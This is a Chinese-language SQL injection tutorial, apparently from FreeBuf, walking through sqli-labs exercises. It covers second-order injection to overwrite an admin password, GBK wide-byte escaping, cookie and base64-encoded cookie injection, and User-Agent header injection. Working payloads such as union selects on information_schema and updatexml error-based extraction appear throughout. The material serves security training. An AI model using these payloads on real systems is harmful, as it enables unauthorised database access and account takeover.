先将用户名和密码中的特殊字符转义,然后将这两个字符串拼接到sql语句中,由于特殊字符被转义,所以此处的sql语句不能被注入。但是字符串被存入后特殊字符不会再用反斜杠转义而是恢复到原来的状态。
登录账户:
登陆时先对输入的用户名和密码的特殊字符进行转义,然后拼接到aql语句中查询是否有这个账户,如果有则会把username存入变量$_SESSION中。(字符串存入变量后特殊字符就不需要被转义了)
修改密码:
修改密码时会从$_SESSION中获取username,然后拼接到UPDATE语句中,而$_SESSION中的username是未经转义的字符串,所以此处有注入的机会。
漏洞攻击
寻找注入点,分别创建两个账户:qwer和qwer' 然后登录,这个过程两者都没有出错。
修改密码
账户qwer修改成功:
账户qwer'修改失败,说明在修改密码这个位置的update语句可能存在注入漏洞。
测试注入是否有效:
分别注册qwer' and 1=1#和qwer' and 1=2#两个账号,然后登陆并修改密码:
账号qwer' and 1=1#成功修改(并且修改的是账号qwer的密码)
账号qwer' and 1=2#修改失败
利用二次注入漏洞修改数据库中已有账户(如admin)的密码:
创建名为admin'#的账户然后登陆并修改密码:
但是账户admin'#的密码时,实际上修改的是admin的密码。输入刚刚修改的密码登录admin,成功登录:
宽字节注入
相关知识
magic_quotes_gpc配置
在 PHP 的配置文件 php.ini 中,有一个名为 magic_quotes_gpc 的配置指令。该指令与处理通过 GET、POST 和 COOKIE 接收到的数据有关。当 magic_quotes_gpc 设置为 On 时,PHP 会自动对通过 GET、POST 和 COOKIE 接收到的数据中的特殊字符进行转义处理。这些特殊字符包括单引号(')、双引号(")、反斜杠(\)和 NULL 字符,一般情况下会在这些字符前面加上一个反斜杠(\)表示转义。从 PHP 5.3.0 开始,magic_quotes_gpc 被弃用,并在 PHP 5.4.0 中被移除。
addslashes() 函数
在 PHP 中,addslashes() 函数用于对字符串中的特殊字符添加反斜杠(\),以确保字符串在插入到数据库或用于其他需要转义的场景时不会出现问题。
addslashes() 函数的作用是将字符串中的以下特殊字符添加反斜杠:
单引号(')会被转义为 \'
双引号(")会被转义为 \"
反斜杠(\)会被转义为 \\
NULL 字符(\0)会被转义为 \0
漏洞原理
在SQL进行防注入的时候,一般会开启gpc或者使用addslashes() 函数,将特殊字符转义。一般情况下可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致SQL防注入绕过,达到注入的目的。如果数据库设置宽字节字符集gbk会导致宽字节注入,从而逃逸转义。
前提条件:
数据库编码与PHP编码设置为不同的两个编码那么才有可能产生宽字节注入。
详细解释:
要有宽字节注入漏洞,首先要满足数据库使用双/多字节解析 SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。
转义绕过过程
%df%27===>addslashes()===>%df%5c%27===>(数据库 GBK)===>運'
代码分析:
check_addlashes 是将特殊字符进行过滤 ' 变成\'
mysql_query 设置数据库的编码为 gbk
将 id 参数传入到 SQL 中带入查询。
传入%df%27 即可逃逸转义,故存在宽字节注入。
函数详解:
转义反斜杠:
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
preg_quote('\\'):preg_quote 函数用于转义正则表达式中的特殊字符。由于反斜杠在正则表达式中具有特殊含义,因此需要使用 preg_quote 对其进行转义。
preg_replace('/\\\\/', "\\\\\\", $string):preg_replace 函数使用正则表达式查找字符串中的反斜杠,并将其替换为三个反斜杠。
查找模式 /\\\\/:由于反斜杠在正则表达式中是转义字符,需要使用双反斜杠表示一个实际的反斜杠。
替换为 "\\\\\\":每个反斜杠在字符串中需要用两个反斜杠表示,因此三个反斜杠在字符串中表示为六个反斜杠。
效果:将字符串中的每个反斜杠替换为三个反斜杠。
转义单引号:
$string = preg_replace('/\'/i', '\\\'', $string);
查找模式 /\'/i:匹配字符串中的单引号。i 修饰符表示不区分大小写,但对于单引号而言,这没有影响。
替换为 '\\\'':将单引号替换为带有反斜杠的单引号。Oryoy+1博客园+1
效果:将字符串中的每个单引号前添加一个反斜杠。
转义双引号:
$string = preg_replace('/\"/', "\\\"", $string);
查找模式 /\"/:匹配字符串中的双引号。
替换为 "\\\"":将双引号替换为带有反斜杠的双引号。
效果:将字符串中的每个双引号前添加一个反斜杠。
漏洞利用
输入id=1'
单引号被转义,尝试进行宽字节注入
输入id=1%df' and 1=1--+
输入id=1%df' and 1=2--+
说明注入有效
逃逸转义后使用union注入继续下面的注入
输入:id=-1%df%27 union select 1,2,3--+
COOKIE 注入
漏洞原理:
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 再
url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。
Less-20代码分析:
程序首先检查请求的cookie是否设置了uname字段,如果没有则从post请求体中获取uname和passwd,然后对这两个参数进行过滤后再将这两个值拼接到sql语句中进行查询;
如果设置了在cookie中设置了unmae字段,则直接从cookie中取出uname的值拼接到sql语句中。
注入攻击
cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行测试,抓取 cookie 包进行安全测试。用 cookie 提交攻击输入攻击语句进行检测是否存在 SQL 注入。
输入正常的uname和passwd登录后,观察会发现cookie中使用了用户名作为uname的值,如果服务器使用cookie的uname字段值作为sql语句的参数,则有可能存在注入。
测试注入点
删掉post请求体中的uname和passwd,在cookie中添加字段:uname=admin' and 1=1#
输出admin的uname和password
将uname=admin' and 1=1#改为uname=admin' and 1=2#
不输出uname和password
对比两次的差异,说明注入有效
接下来按照union注入的方式进行下面的注入
uname=-1' union select 1,2,3#
uname=-1' union select 1,2,database()#
uname=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
......
Base64编码注入
相关知识
ase64一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。数据编码的好处是,防止数据丢失,也有不少网站使用base64进行数据传输,如搜索栏或者id接收参数有可能使用base64处理传递的参数。 在php中base64_encode()函数对字符串进行base64编码,既然可以编码也可以进行解码,base64_decode()这个函数对base64进行解码。
注入原理
编码解码流程
1->base64编码->MQ==->base64解密->1
base64编码注入,可以绕过特殊字符转义拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,(顺利通过转义拦截),在程序中重新被解码,再拼接成SQL攻击语句,再执行,从而形式SQL注入。
代码分析
Less-21
当用户未设置Cookie时:
首先对输入验证和处理,定义了一个check_input函数,用于处理用户输入,包括截断、去除魔术引号和转义等操作。然后,构造SQL查询语句,查询数据库中是否存在匹配的用户名和密码。如果查询成功(即用户存在),设置一个包含用户名的Cookie,使用Base64编码,有效期为1小时。显示成功信息,并重定向到index.php。如果查询失败,显示错误信息,并输出MySQL错误。
当用户已设置Cookie时:
读取uname Cookie的值,并解码。
显示用户的用户代理、IP地址、Cookie信息及其过期时间。
使用解码后的用户名查询数据库,显示用户详细信息(用户名、密码、ID)。
综上所述,在cookie中对uname设置base64编码后的载荷便能够进行注入。
漏洞攻击
输入正常的username和password登录后,观察发现cookie值是username经过base64编码后的值。尝试将载荷经过base64编码后对cookie进行注入测试,看cookie是否存在注入漏洞。
将admin'进行base64编码
删掉post请求体中的uname和password,然后将编码后的字符串输入到cookie的uname字段。通过报错,我们可以以获取参数的闭包结构:
将测试参数编码,然后对比观察注入是否有效
admin') and 1=1# YWRtaW4nKSBhbmQgMT0xIw==
admin') and 1=2# YWRtaW4nKSBhbmQgMT0yIw==
注入有效,说明存在sql注入,下面即可将注入参数编码后进行union注入
此外,当出现语法错误时,php还会将错误信息返回,所以还可以利用报错注入:
admin') and updatexml(1,concat(0x7e,database(),0x7e),1)# 编码:
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSM=
XFF注入攻击
漏洞原理
X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。XFF并不受gpc影响,而且开发人员很容易忽略这个XFF头,不会对XFF头进行过滤。在PHP中,可以通过$_SERVER['HTTP_X_FORWARDED_FOR']来获取X-Forwarded-For的值。
使用burpsuite对X-Forwarded-for随意设置字符串,如果程序中获取这个值再带入数据库查询会造成SQL注入。
在HTTP请求中,除了X-Forwarded-For(XFF)头外,以下请求头也可能被用户修改,从而导致SQL注入漏洞:
PHP将所有的HTTP请求头信息存储在 $_SERVER 数组中,键名形式为 'HTTP_' 加上请求头名称,所有字母大写,横杠(-)替换为下划线(_)。
Referer:指示请求页面来源的头部字段。
User-Agent:用于标识客户端浏览器信息的头部字段。
Cookie:用于在客户端和服务器之间存储会话信息的头部字段。
X-Real-IP:用于记录客户端真实IP地址的头部字段。
Accept-Language:指示客户端可理解的自然语言及其优先级的头部字段。
代码分析(user-agent注入)
程序先对post请求体中的uname和password进行过滤,然后再将这两个参数拼接到sql语句中进行查询。如果查询结果不为空,就用insert语句将uagent, ip_address, username这三个值插入uagents表中。其中username是过滤后的uname,uagent来自User-Agent头而且未经过滤。ip_address的值来自于$_SERVER['REMOTE_ADDR'],客户端的IP地址,该值由服务器根据客户端的网络连接信息自动设置,而不是直接从HTTP请求头中提取。
漏洞攻击
正常登陆后会返回客户的ip地址和user_agent等信息。
再次登录时抓包观察请求包发现,返回信息中的user_agent是由User-Agent头提供的,
请求包中并没有给出IP地址的请求头(IP地址可能通过$_SERVER['REMOTE_ADDR']获取的,$_SERVER['REMOTE_ADDR'] 用于获取发出请求的客户端的IP地址,该值由服务器在建立连接时根据客户端的网络连接信息自动设置,而不是直接从HTTP请求头中提取的。)
测试User-Agent是否为注入点,输入单引号尝试触发报错。
观察报错后显示的内容,User-Agent、ip地址以及用户名在一起被单引号包围,由此判断这可能是一个插入语句:INSEERT INTO table VALUES('User-Agent','Ip','Username')
填充参数并闭合单引号和括号:User-Agent:1',1,2)#
利用报错注入:User-Agent:1',1,updatexml(1,concat(0x7e,database(),0x7e),1))#
以此类推获取更多内容......
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)